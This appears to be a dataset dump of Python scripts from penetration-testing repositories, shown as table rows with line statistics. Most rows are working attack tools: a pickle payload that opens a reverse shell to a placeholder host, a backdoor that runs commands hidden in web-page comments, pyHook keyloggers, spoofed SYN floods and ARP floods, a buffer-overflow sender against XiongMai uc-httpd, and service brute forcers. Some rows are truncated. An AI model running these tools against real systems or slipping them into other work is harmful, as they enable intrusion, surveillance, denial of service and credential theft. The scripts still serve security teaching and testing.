repo_name stringclasses 29
values | text stringlengths 18 367k | avg_line_length float64 5.6 132 | max_line_length int64 11 3.7k | alphnanum_fraction float64 0.28 0.94 |
|---|---|---|---|---|
cybersecurity-penetration-testing | import mechanize
url = "http://www.webscantest.com/business/access.php?serviceid="
attackNumber = 1
for i in range(5):
res = mechanize.urlopen(url+str(i))
content = res.read()
# check if the content is accessible
if content.find("You service") > 0:
print "Possible Direct Object Reference"
... | 24.157895 | 65 | 0.656184 |
Penetration-Testing-with-Shellcode | #!/usr/bin/python
from struct import *
buffer = ''
buffer += 'a'*27
buffer += pack("<Q", 0x00401340)
f = open("input.txt", "w")
f.write(buffer)
| 17.875 | 33 | 0.6 |
Python-Penetration-Testing-for-Developers | import httplib
import shelve
url = raw_input("Enter the full URL ")
url1 =url.replace("http://","")
url2= url1.replace("/","")
s = shelve.open("mohit.raj",writeback=True)
for u in s['php']:
a = "/"
url_n = url2+a+u
print url_n
http_r = httplib.HTTPConnection(url2)
u=a+u
http_r.request("GET",u)
reply = http_r.ge... | 19.48 | 43 | 0.606654 |
Python-Penetration-Testing-for-Developers | import time, dpkt
import plotly.plotly as py
from plotly.graph_objs import *
from datetime import datetime
filename = 'hbot.pcap'
full_datetime_list = []
dates = []
for ts, pkt in dpkt.pcap.Reader(open(filename,'rb')):
eth=dpkt.ethernet.Ethernet(pkt)
if eth.type!=dpkt.ethernet.ETH_TYPE_IP:
continue
... | 18.96 | 76 | 0.608826 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import urllib
from anonBrowser import *
def google(search_term):
ab = anonBrowser()
search_term = urllib.quote_plus(search_term)
response = ab.open('http://ajax.googleapis.com/'+\
'ajax/services/search/web?v=1.0&q='+ search_term)
print response.read()
... | 19.411765 | 55 | 0.65896 |
PenetrationTestingScripts | #!/usr/bin/env python
#coding:utf-8
#Author:se55i0n
#针对常见sql、No-sql数据库进行安全检查
import sys
import IPy
import time
import socket
import gevent
import argparse
from gevent import monkey
from multiprocessing.dummy import Pool as ThreadPool
from lib.config import *
from lib.exploit import *
monkey.patch_all()
class DBScanne... | 22.570175 | 102 | 0.584885 |
PenetrationTestingScripts | #!/usr/bin/env python
#
# https://github.com/git/git/blob/master/Documentation/technical/index-format.txt
#
import binascii
import collections
import mmap
import struct
import sys
def check(boolean, message):
if not boolean:
import sys
print "error: " + message
sys.exit(1)
def parse(fil... | 32.441176 | 87 | 0.488674 |
owtf | """
owtf.__main__
~~~~~~~~~~~~~
A __main__ method for OWTF so that internal services can be called as Python modules.
"""
import sys
from owtf.core import main
if __name__ == "__main__":
main()
| 15.75 | 85 | 0.595 |
cybersecurity-penetration-testing | #!/usr/bin/env python
from datetime import datetime
from matplotlib.dates import DateFormatter
import matplotlib.pyplot as plt
import os
from os.path import join
import sys
# max. number of bars on the histogram
NUM_BINS = 200
def gen_filestats(basepath):
"""Collects metadata about a directory tree.
Arg... | 22.84 | 71 | 0.634024 |
AggressorAssessor | #!/usr/bin/env python
import argparse
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
parser = argparse.ArgumentParser(description='beacon info')
parser.add_argument('--computer')
parser.add_argument('--ip')
args = parser.parse_args()
fromaddr = "<gmaile-mailaccounthe... | 25.875 | 91 | 0.733411 |
Effective-Python-Penetration-Testing | from capstone import *
import pefile
pe = pefile.PE('md5sum.exe')
entryPoint = pe.OPTIONAL_HEADER.AddressOfEntryPoint
data = pe.get_memory_mapped_image()[entryPoint:]
cs = Cs(CS_ARCH_X86, CS_MODE_32)
for i in cs.disasm(data, 0x1000):
print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
| 22.153846 | 61 | 0.7 |
Python-Penetration-Testing-for-Developers | import random
from scapy.all import *
target = raw_input("Enter the Target IP ")
i=1
while True:
a = str(random.randint(1,254))
b = str(random.randint(1,254))
c = str(random.randint(1,254))
d = str(random.randint(1,254))
dot = "."
src = a+dot+b+dot+c+dot+d
print src
st = random.randint(1,1000)
en = random.ra... | 21 | 42 | 0.649241 |
cybersecurity-penetration-testing | #!/usr/bin/python
import re
import sys
def read_passwd(filename):
"""Reads entries from shadow or passwd files and
returns the content as list of entries.
Every entry is a list of fields."""
content = []
with open(filename, 'r') as f:
for line in f:
entry = line.strip().... | 28.487395 | 94 | 0.572976 |
owtf | """
Plugin for probing mssql
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = " MsSql Probing "
def run(PluginInfo):
resource = get_resources("BruteMsSqlProbeMethods")
return plugin_helper.CommandDump("Test Command", "Output", resource, PluginInf... | 24.230769 | 88 | 0.752294 |
owtf | """
owtf.net.scanner
~~~~~~~~~~~~~~~~
The scan_network scans the network for different ports and call network plugins for different services running on target
"""
import logging
import re
from owtf.config import config_handler
from owtf.db.session import get_scoped_session
from owtf.managers.plugin import get_plugins_... | 35.161194 | 120 | 0.495253 |
cybersecurity-penetration-testing | import requests
import re
import subprocess
import time
import os
while 1:
req = requests.get("http://127.0.0.1")
comments = re.findall('<!--(.*)-->',req.text)
for comment in comments:
if comment = " ":
os.delete(__file__)
else:
try:
response = subprocess.check_output(comment.split())
except:
... | 23.666667 | 99 | 0.667311 |
owtf | class BaseWorker(object):
pass
| 11 | 25 | 0.714286 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import optparse
import pxssh
class Client:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh(... | 21.489796 | 56 | 0.584015 |
Python-Penetration-Testing-Cookbook | from urllib2 import urlopen
from xml.etree.ElementTree import parse
url = urlopen('http://feeds.feedburner.com/TechCrunch/Google')
xmldoc = parse(url)
xmldoc.write('output.xml')
for item in xmldoc.iterfind('channel/item'):
title = item.findtext('title')
desc = item.findtext('description')
date = item.findt... | 24.166667 | 62 | 0.681416 |
cybersecurity-penetration-testing | import os
import sys
import logging
import argparse
import plugins
import writers
import colorama
from datetime import datetime
from pyfiglet import Figlet
colorama.init()
__author__ = 'Preston Miller & Chapin Bryce'
__date__ = '20160401'
__version__ = 0.01
__description__ = 'This script is our framework controller a... | 40.521186 | 116 | 0.56287 |
cybersecurity-penetration-testing | import pypff
__author__ = 'Preston Miller & Chapin Bryce'
__date__ = '20160401'
__version__ = 0.01
__description__ = 'This scripts handles processing and output of PST Email Containers'
def main(pst_file):
"""
The main function opens a PST and calls functions to parse and report data from the PST
:param ... | 37.921053 | 107 | 0.683125 |
cybersecurity-penetration-testing | from burp import IBurpExtender
from burp import IContextMenuFactory
from javax.swing import JMenuItem
from java.util import List, ArrayList
from java.net import URL
import socket
import urllib
import json
import re
import base64
bing_api_key = "YOURKEYHERE"
class BurpExtender(IBurpExtender, IContextMenuFactory):
... | 25.491228 | 136 | 0.620073 |
owtf | """
Plugin for manual/external CORS testing
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "CORS Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalCORS")
Content = plugin_helper.resource_linklist("Online Re... | 24.714286 | 75 | 0.766017 |
cybersecurity-penetration-testing | class Solution(object):
# def findShortestSubArray(self, nums):
# """
# :type nums: List[int]
# :rtype: int
# """
# res = len(nums)
# counter = collections.Counter()
# for num in nums:
# counter[num] += 1
# degree = max(counter.values())
... | 28.809524 | 70 | 0.46283 |
cybersecurity-penetration-testing | import random
number1 = random.randint(1, 10)
number2 = random.randint(1, 10)
print('What is ' + str(number1) + ' + ' + str(number2) + '?')
answer = input('> ')
if answer == number1 + number2:
print('Correct!')
else:
print('Nope! The answer is ' + str(number1 + number2)) | 31 | 62 | 0.609756 |
Python-Penetration-Testing-for-Developers | from scapy.all import *
num = int(raw_input("Enter the number of packets "))
interface = raw_input("Enter the Interface ")
arp_pkt=ARP(pdst='192.168.1.255',hwdst="ff:ff:ff:ff:ff:ff")
eth_pkt = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")
try:
sendp(eth_pkt/arp_pkt,iface=interface,count =num, inter= .001)
except :
... | 22.933333 | 63 | 0.692737 |
Python-Penetration-Testing-for-Developers | import shodan
import requests
SHODAN_API_KEY = "{Insert your Shodan API key}"
api = shodan.Shodan(SHODAN_API_KEY)
target = 'www.packtpub.com'
dnsResolve = 'https://api.shodan.io/dns/resolve?hostnames=' + target + '&key=' + SHODAN_API_KEY
try:
# First we need to resolve our targets domain to an IP
resolved... | 25.780488 | 95 | 0.592525 |
Python-for-Offensive-PenTest | import ctypes
if ctypes.windll.shell32.IsUserAnAdmin() == 0:
print '[-] We are NOT admin! '
else:
print '[+] We are admin :) '
| 14.888889 | 46 | 0.591549 |
cybersecurity-penetration-testing | import optparse
from scapy.all import *
def synFlood(src, tgt):
for sport in range(1024,65535):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=sport, dport=513)
pkt = IPlayer / TCPlayer
send(pkt)
def calTSN(tgt):
seqNum = 0
preNum = 0
diffSeq = 0
for x in ra... | 26.013699 | 65 | 0.595637 |
PenetrationTestingScripts | """
Django settings for scandere project.
Generated by 'django-admin startproject' using Django 1.9.1.
For more information on this file, see
https://docs.djangoproject.com/en/1.9/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.9/ref/settings/
"""
import os
... | 25.414634 | 91 | 0.692118 |
Hands-On-Penetration-Testing-with-Python | import socket
import sys
payload="A" * 85
print "\n###############################################"
print "XiongMai uc-httpd 1.0.0 Buffer Overflow Exploit"
if len(sys.argv) < 2:
print "\nUsage: " + sys.argv[0] + " <Host>\n"
sys.exit()
print "\nTarget: " + sys.argv[1]
print "Sending exploit..."
s=socket.sock... | 23.909091 | 69 | 0.605119 |
cybersecurity-penetration-testing | #!/usr/bin/env python
'''
Author: Chris Duffy
Date: May 2015
Name: banner_grabber.py
Purpose: A script that grabs the banner of exposed services.
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the... | 43.442308 | 89 | 0.696537 |
owtf | """
ACTIVE Plugin for Generic Unauthenticated Web App Fuzzing via w3af
This will perform a "low-hanging-fruit" pass on the web app for easy to find (tool-findable) vulns
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Active Vulnerability Scanning withou... | 34.785714 | 98 | 0.772 |
cybersecurity-penetration-testing | import xlsxwriter
from datetime import datetime
school_data = [['Department', 'Students', 'Cumulative GPA', 'Final Date'],
['Computer Science', 235, 3.44, datetime(2015, 07, 23, 18, 00, 00)],
['Chemistry', 201, 3.26, datetime(2015, 07, 25, 9, 30, 00)],
['Forensics', 99, 3.8... | 34.151515 | 83 | 0.566005 |
Python-Penetration-Testing-for-Developers | import requests
import sys
from bs4 import BeautifulSoup, SoupStrainer
url = "http://127.0.0.1/xss/medium/guestbook2.php"
url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"
f = open("/home/cam/Downloads/fuzzdb-1.09/attack-payloads/all-attacks/interesting-met... | 26.636364 | 103 | 0.655324 |
Python-Penetration-Testing-for-Developers | import requests
req = requests.get('http://google.com')
headers = ['Server', 'Date', 'Via', 'X-Powered-By']
for header in headers:
try:
result = req.headers[header]
print '%s: %s' % (header, result)
except Exception, error:
pass | 22.272727 | 51 | 0.615686 |
cybersecurity-penetration-testing | import sys
import socket
import threading
# this is a pretty hex dumping function directly taken from
# http://code.activestate.com/recipes/142812-hex-dumper/
def hexdump(src, length=16):
result = []
digits = 4 if isinstance(src, unicode) else 2
for i in xrange(0, len(src), length):
s = src[i:i+l... | 29.178771 | 128 | 0.581004 |
Ethical-Hacking-Scripts | import socket, binascii, struct, os, sys, time, threading
from optparse import OptionParser
from scapy.all import *
class OptionParse:
def __init__(self):
self.arg_parse()
def logo(self):
print("""\033[0;31;40m
_____ _ _ _____ _ __ __ __ ___... | 43.91601 | 783 | 0.433731 |
PenetrationTestingScripts | #coding:utf-8
import getopt
import sys
import Queue
import threading
import socket
import urllib2
import time
import os
import re
import ftplib
import hashlib
import struct
import binascii
import telnetlib
import array
queue = Queue.Queue()
mutex = threading.Lock()
TIMEOUT = 10
I = 0
USER_DIC = {
"ftp":['www','ad... | 39.358238 | 1,195 | 0.548799 |
Hands-On-Penetration-Testing-with-Python | a=44
b=33
if a > b:
print("a is greater")
| 7.8 | 22 | 0.581395 |
Python-Penetration-Testing-Cookbook | """Summary.
Attributes:
ip (list): Description
mac (list): Description
"""
from scapy.all import *
from time import sleep
from threading import Thread
mac = [""]
ip = []
def callback_dhcp_handle(pkt):
"""Summary.
Args:
pkt (TYPE): Description
"""
if pkt.haslayer(DHCP):
if p... | 24.36 | 74 | 0.535508 |
PenTestScripts | #!/usr/bin/env python
# This script implements basic controls for a Boxee xbmc device
# Play both pauses and plays a video.
# Everything else should be straightforward
import argparse
import sys
import urllib2
def cli_parser():
# Command line argument parser
parser = argparse.ArgumentParser(
add_he... | 36.680556 | 168 | 0.637537 |
cybersecurity-penetration-testing | import urllib2
import urllib
import cookielib
import threading
import sys
import Queue
from HTMLParser import HTMLParser
# general settings
user_thread = 10
username = "admin"
wordlist_file = "/tmp/cain.txt"
resume = None
# target specific settings
target_url = "http://192.168.112.131/administrator... | 26.166667 | 93 | 0.518271 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
Mastering-Machine-Learning-for-Penetration-Testing | import numpy as np
from sklearn import *
from sklearn.linear_model import LogisticRegression
from sklearn.metrics import accuracy_score
training_data = np.genfromtxt('dataset.csv', delimiter=',', dtype=np.int32)
inputs = training_data[:,:-1]
outputs = training_data[:, -1]
training_inputs = inputs[:2000]
training_out... | 27 | 87 | 0.763948 |
Python-Penetration-Testing-for-Developers | import shelve
def create():
print "This only for One key "
s = shelve.open("mohit.xss",writeback=True)
s['xss']= []
def update():
s = shelve.open("mohit.xss",writeback=True)
val1 = int(raw_input("Enter the number of values "))
for x in range(val1):
val = raw_input("\n Enter the value\t")
(s['xss']).appen... | 18.340909 | 60 | 0.590588 |
cybersecurity-penetration-testing | #!/usr/bin/python
import sys
import netaddr
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import sr1, IP, ICMP
PING_TIMEOUT = 3
IFACE='eth0'
if __name__ == '__main__':
print '\tQuick Ping Sweep\n'
if len(sys.argv) != 2:
print '[?] Usage: pingsweep <network>... | 25.538462 | 93 | 0.610251 |
PenetrationTestingScripts | """Utility functions for HTTP header value parsing and construction.
Copyright 1997-1998, Gisle Aas
Copyright 2002-2006, John J. Lee
This code is free software; you can redistribute it and/or modify it
under the terms of the BSD or ZPL 2.1 licenses (see the file
COPYING.txt included with the distribution).
"""
impo... | 33.595041 | 80 | 0.526699 |
owtf | RESULTS = """
<!DOCTYPE html>
<html lang="en">
<body>
<div style="background-color: lightgrey;border:1px solid;border-radius:10px;width:300px;">
<h1>SSL SCAN REPORT</h1>
</div>
<h2> Input url: {{host}}</h2>
<h2> Domain: {{host}}</h2>
<h2> HTTP status code: {{status_code}}</h2>
<h2> IP: {... | 49.931034 | 384 | 0.647696 |
Python-Penetration-Testing-for-Developers | import urllib
from bs4 import BeautifulSoup
url = raw_input("Enter the URL ")
ht= urllib.urlopen(url)
html_page = ht.read()
b_object = BeautifulSoup(html_page)
print b_object.title
print b_object.title.text
for link in b_object.find_all('a'):
print(link.get('href'))
| 21.5 | 35 | 0.736059 |
cybersecurity-penetration-testing | import threading
import time
import socket, subprocess,sys
import thread
import collections
from datetime import datetime
'''section 1'''
net = raw_input("Enter the Network Address ")
st1 = int(raw_input("Enter the starting Number "))
en1 = int(raw_input("Enter the last Number "))
en1=en1+1
dic = collections.OrderedD... | 22.086957 | 60 | 0.675879 |
Python-Penetration-Testing-Cookbook | from scapy.all import *
senderMac = "aa:aa:aa:aa:aa:aa"
broadcastMac = "ff:ff:ff:ff:ff:ff"
for ssid in open('ssidList.txt', 'r').readlines():
pkt = RadioTap()/Dot11(type = 0, subtype = 4 ,addr1 = broadcastMac, addr2 = senderMac, addr3 = broadcastMac)/Dot11ProbeReq()/Dot11Elt(ID=0, info =ssid.strip()) / Dot11Elt(... | 36.076923 | 237 | 0.64657 |
cybersecurity-penetration-testing | # Cryptomath Module
# http://inventwithpython.com/hacking (BSD Licensed)
def gcd(a, b):
# Return the GCD of a and b using Euclid's Algorithm
while a != 0:
a, b = b % a, a
return b
def findModInverse(a, m):
# Returns the modular inverse of a % m, which is
# the number x such th... | 29.5 | 89 | 0.54446 |
Penetration_Testing |
'''
Suggestion:
Use py2exe to turn this script into a Windows executable.
Example: python setup.py py2exe
Run as administrator to store file under current path.
Change pathname if administrator level privilege is not possible.
'''
import pyHook
import pythoncom
import sys
import logging
from ctypes import *
from win... | 23.696078 | 106 | 0.72081 |
cybersecurity-penetration-testing | import sys
import struct
memory_file = "WinXPSP2.vmem"
sys.path.append("/Downloads/volatility-2.3.1")
import volatility.conf as conf
import volatility.registry as registry
registry.PluginImporter()
config = conf.ConfObject()
import volatility.commands as commands
import volatility.addrspace as addrspace
con... | 25.4 | 68 | 0.69745 |
owtf | #!/usr/bin/env python
"""
This is the command-line front-end in charge of processing arguments and call the framework
"""
import getopt
import os
import subprocess
import sys
from collections import defaultdict
def GetName():
return sys.argv[0]
def Usage(Message):
print("Usage:")
print(
GetName(... | 34.964286 | 257 | 0.633722 |
cybersecurity-penetration-testing | # Affine Cipher Hacker
# http://inventwithpython.com/hacking (BSD Licensed)
import pyperclip, affineCipher, detectEnglish, cryptomath
SILENT_MODE = False
def main():
# You might want to copy & paste this text from the source code at
# http://invpy.com/affineHacker.py
myMessage = """U&'<3dJ^Gjx'... | 35.35 | 149 | 0.609633 |
Effective-Python-Penetration-Testing | import pyHook, pythoncom, sys, logging
file_log='C:\\log.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename*file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
#instantiate HookManager class
hooks_manager = pyHook.HookManager ()
#listen... | 25.052632 | 83 | 0.773279 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
from anonBrowser import *
from BeautifulSoup import BeautifulSoup
import os
import optparse
import re
def printLinks(url):
ab = anonBrowser()
ab.anonymize()
page = ab.open(url)
html = page.read()
try:
print '[+] Printing Links From Regex.'
... | 18.534483 | 58 | 0.55742 |
Penetration-Testing-Study-Notes | #!/usr/bin/python
import socket
#create an array of buffers, while incrementing them
buffer=["A"]
counter=100
while len(buffer) <=30:
buffer.append("A"*counter)
counter=counter+200
for string in buffer:
print "Fuzzing PASS with %s bytes" % len(string)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=... | 20.363636 | 52 | 0.688699 |
owtf | """
owtf.lib.cli_options
~~~~~~~~~~~~~~~~~~~~
Main CLI processing machine
"""
from __future__ import print_function
import argparse
import sys
def usage(error_message):
"""Display the usage message describing how to use owtf.
:param error_message: Error message to display
:type error_message: `str`
... | 32.060185 | 115 | 0.565826 |
Python-Penetration-Testing-Cookbook | import urllib.request
import urllib.parse
import re
from os.path import basename
url = 'https://www.packtpub.com/'
queryString = 'all?search=&offset='
for i in range(0, 200, 12):
query = queryString + str(i)
url += query
print(url)
response = urllib.request.urlopen(url)
source = response.read()
... | 27.15625 | 67 | 0.57 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# Copyright (C) 2015 Christian Hilgers, Holger Macht, Tilo Müller, Michael Spreitzenbarth
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, o... | 54.111111 | 141 | 0.532654 |
Effective-Python-Penetration-Testing | from Crypto.Cipher import AES
import os, random, struct
def encrypt_file(key, filename, chunk_size=64*1024):
output_filename = filename + '.encrypted'
iv = ''.join(chr(random.randint(0, 0xFF)) for i in range(16)) # Initialization vector
encryptor = AES.new(key, AES.MODE_CBC, iv)
filesize = os.path.ge... | 31.666667 | 89 | 0.580023 |
Hands-On-Penetration-Testing-with-Python | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Project'
db.create_table(u'xtreme_server_proje... | 63.71028 | 130 | 0.570521 |
PenTestScripts | #!/usr/bin/env python
# Script for interacting with Shodan's API and searching it.
# In case you get an import error for netaddr or shodan, run:
# apt-get install python-shodan python-netaddr
import argparse
from netaddr import IPNetwork
import os
import re
import shodan
import sys
def cli_parser():
# Command... | 32.741935 | 81 | 0.528843 |
cybersecurity-penetration-testing | # This program proves that the keyspace of the affine cipher is limited
# to len(SYMBOLS) ^ 2.
import affineCipher, cryptomath
message = 'Make things as simple as possible, but not simpler.'
for keyA in range(2, 100):
key = keyA * len(affineCipher.SYMBOLS) + 1
if cryptomath.gcd(keyA, len(affineCiphe... | 35.545455 | 72 | 0.703242 |
owtf | """
PASSIVE Plugin for Testing: WS Information Gathering (OWASP-WS-001)
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Google Hacking/Third party sites for Web Services"
def run(PluginInfo):
resource = get_resources("WSPassiveSearchEngineDiscovery... | 29.769231 | 72 | 0.786967 |
cybersecurity-penetration-testing | import requests
from ghost import Ghost
import logging
import os
#<iframe src="http://usabledesigns.com/demo/iframe-test"></iframe>
URL = 'http://usabledesigns.com/demo/iframe-test'
URL = 'https://support.realvnc.com'
URL = 'https://evaluation.realvnc.com'
#def clickjack(URL):
req = requests.get(URL)
try:
xfra... | 23.517857 | 85 | 0.699708 |
Python-Penetration-Testing-for-Developers | import socket
import struct
import binascii
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
while True:
pkt = s.recvfrom(2048)
banner = pkt[0][54:533]
print banner
print "--"*40
| 16.833333 | 74 | 0.71831 |
cybersecurity-penetration-testing | from os import readlink,lstat
import stat
path = '/etc/rc5.d/S99rc.local'
stat_info = lstat(path)
if stat.S_ISREG(stat_info.st_mode):
print 'File type: regular file'
if stat.S_ISDIR(stat_info.st_mode):
print 'File type: directory'
if stat.S_ISLNK(stat_info.st_mode):
print 'File type: symbolic link poin... | 18.105263 | 50 | 0.687845 |
PenetrationTestingScripts | "0.2.5"
__version__ = (0, 2, 5, None, None)
| 14 | 35 | 0.477273 |
owtf | """
Plugin for probing snmp
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = " SNMP Probing "
def run(PluginInfo):
resource = get_resources("SnmpProbeMethods")
return plugin_helper.CommandDump("Test Command", "Output", resource, PluginInfo, [])
| 23.615385 | 88 | 0.746082 |
cybersecurity-penetration-testing | import pythoncom,pyHook
def OnKeyboardEvent(event):
"""
Process keyboard event
"""
if event.Ascii != 0 or event.Ascii != 8: # Skip Null & Backspace
if event.Ascii == 13: # Handles a 'Enter' key press
keylogs = '<return>'
else:
keylogs = chr(event.Ascii)
... | 24.192308 | 69 | 0.657492 |
cybersecurity-penetration-testing | import urllib2
GOOGLE_API_KEY = "{Insert your Google API key}"
target = "packtpub.com"
api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people?query="+target+"&key="+GOOGLE_API_KEY).read()
api_response = api_response.split("\n")
for line in api_response:
if "displayName" in line:
... | 35.888889 | 120 | 0.688822 |
cybersecurity-penetration-testing | import requests
url = "http://127.0.0.1/SQL/sqli-labs-master/Less-1/index.php?id="
initial = "'"
print "Testing "+ url
first = requests.post(url+initial)
if "mysql" in first.text.lower():
print "Injectable MySQL detected"
elif "native client" in first.text.lower():
print "Injectable MSSQL detected"
elif "syntax er... | 27.823529 | 66 | 0.725971 |
owtf | """
owtf.utils.http
~~~~~~~~~~~~~~~
"""
import collections
import types
try: # PY3
from urllib.parse import urlparse
except ImportError: # PY2
from urlparse import urlparse
def derive_http_method(method, data):
"""Derives the HTTP method from Data, etc
:param method: Method to check
:type met... | 25.621212 | 95 | 0.65205 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "XtremeWebAPP.settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
| 22.272727 | 76 | 0.713725 |
Python-Penetration-Testing-for-Developers | import socket
host = "192.168.0.1"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(2)
while True:
conn, addr = s.accept()
print addr, "Now Connected"
conn.send("Thank you for connecting")
conn.close()
| 20.25 | 53 | 0.700787 |
PenetrationTestingScripts | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
# from winbase.h
STDOUT = -11
STDERR = -12
try:
import ctypes
from ctypes import LibraryLoader
windll = LibraryLoader(ctypes.WinDLL)
from ctypes import wintypes
except (AttributeError, ImportError):
windll = None
SetCon... | 33.619355 | 111 | 0.644734 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python3.5
a=22
b=44
c=55
d=None
if 22:
print("This will be printed -> if 22:")
if "hello":
print("This will be printed -> if 'hello':")
if -1:
print("This will be printed -> if -1")
if 0:
print("This would not be printed")
if d:
print("This will not be prined")
print("Lets Start with logical operators... | 20.69697 | 54 | 0.632168 |
Python-Penetration-Testing-Cookbook | from scapy.all import *
host = 'www.dvwa.co.uk'
ip = socket.gethostbyname(host)
openp = []
filterdp = []
common_ports = { 21, 22, 23, 25, 53, 69, 80, 88, 109, 110,
123, 137, 138, 139, 143, 156, 161, 389, 443,
445, 500, 546, 547, 587, 660, 995, 993, 2086,
2087, 208... | 26.84127 | 105 | 0.499715 |
cybersecurity-penetration-testing |
'''
Copyright (c) 2016 Chet Hosmer
Permission is hereby granted, free of charge, to any person obtaining a copy of this software
and associated documentation files (the "Software"), to deal in the Software without restriction,
including without limitation the rights to use, copy, modify, merge, publish, distri... | 32.848485 | 104 | 0.560964 |
cybersecurity-penetration-testing | #!/usr/bin/python3
#
# Takes two files on input. Tries to find every line of the second file within the first file
# and for every found match - extracts password value from the second file's line. Then prints these correlations.
#
# In other words:
#
# FileA:
# some-user@example.com,68eacb97d86f0c4621fa2b0... | 31.846154 | 114 | 0.64761 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
from anonBrowser import *
ab = anonBrowser(proxies=[],\
user_agents=[('User-agent','superSecretBroswer')])
for attempt in range(1, 5):
ab.anonymize()
print '[*] Fetching page'
response = ab.open('http://kittenwar.com')
for cookie in ab.cookie_jar:
p... | 22.785714 | 52 | 0.63253 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import pexpect
PROMPT = ['# ', '>>> ', '> ','\$ ']
def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print child.before
def connect(user, host, password):
ssh_newkey = 'Are you sure you want to continue connecting'
connStr = 'ssh ' + ... | 21.659574 | 63 | 0.528195 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalCrossSiteScripting")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 28.181818 | 75 | 0.784375 |
Tricks-Web-Penetration-Tester | import pickle
import os
from base64 import b64decode,b64encode
class malicious(object):
def __reduce__(self):
return (os.system, ("/bin/bash -c \"/bin/sh -i >& /dev/tcp/ip/port 0>&1\"",))
ok = malicious()
ok_serialized = pickle.dumps(ok)
print(b64encode(ok_serialized))
| 22.75 | 85 | 0.672535 |
Python-Penetration-Testing-for-Developers | #!/usr/bin/env python
'''
Author: Christopher Duffy
Date: February 2015
Name: nmap_scanner.py
Purpose: To scan a network
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are... | 42.627451 | 111 | 0.764838 |
cybersecurity-penetration-testing | # Transposition Cipher Test
# http://inventwithpython.com/hacking (BSD Licensed)
import random, sys, transpositionEncrypt, transpositionDecrypt
def main():
random.seed(42) # set the random "seed" to a static value
for i in range(20): # run 20 tests
# Generate random messages to test.
... | 34.8 | 79 | 0.611461 |
Hands-On-Penetration-Testing-with-Python | from tweet_parser.tweet import Tweet
from tweet_parser.tweet_parser_errors import NotATweetError
import fileinput
import json
import sys
class twitter_parser:
def __init__(self,file_name):
self.file=file_name
def parse(self):
for line in fileinput.FileInput(self.file):
try:
tweet_dict = json.loads(line)
... | 19.391304 | 59 | 0.726496 |
GWT-Penetration-Testing-Toolset | # -*- coding: utf-8 -*-
#!/usr/bin/env python
"""
GwtParse v0.2
Copyright (C) 2010 Ron Gutierrez
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of th... | 35.864078 | 133 | 0.582982 |
Penetration-Testing-Study-Notes | #!/usr/env python
###############################################################################################################
## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script
## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift
##---------------------------------------------------------... | 66.742627 | 248 | 0.615071 |
PenetrationTestingScripts | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : jeffzhang
# @Time : 18-5-14
# @File : plugin_management.py
# @Desc : ""
import time
import os
from flask import Flask, Blueprint, render_template, request, jsonify
from werkzeug.utils import secure_filename
from bson import ObjectId
from lib.mongo_db ... | 33.388889 | 111 | 0.603749 |
owtf | """
